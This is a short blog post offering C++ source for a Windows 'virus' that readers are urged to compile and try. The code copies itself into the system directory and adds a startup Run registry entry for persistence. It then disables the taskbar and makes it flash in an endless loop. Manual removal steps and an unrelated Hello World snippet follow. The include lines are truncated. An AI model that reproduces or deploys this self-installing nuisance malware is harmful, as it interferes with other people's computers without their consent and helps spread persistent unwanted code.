c++ virus code

Here is a good virus I wrote in C++ myself. If you got a compiler then just copy it into a Win32 app. Not a concal app.
#include
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,”\\virus.exe”);
CopyFile(pathtofile,system,false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ); RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
HWND hWin; hWin = FindWindow("Shell_TrayWnd",NULL);
EnableWindow(hWin,false);
while(1==1) {
ShowWindow(hWin,false);
Sleep(1000);
ShowWindow(hWin,true);
Sleep(1000); } return 0;
}
Dont under estimaite the power of this little guy. Try it. Its very annoying. To fix it ctr+alt+del to get to task maneger. Then close exsplorer.exe and virus.exe. WARNING VIRUS.EXE MIGHT NOT BE THERE!!! IF IT ISNT THEN DONT PANIC, JUST CLOSE EXSPOLORE.EXE!!! Next (while in task maneger) goto file - new task... - "explorer.exe" without quotes. Email me for any questions!!! keyboardbandit@hotmail.com //-----------------------------------------
#include
int main()
{
cout << "Hello World!!!" << endl;
return(0);
}

Read Users' Comments (0)

0 Response to "c++ virus code"

Post a Comment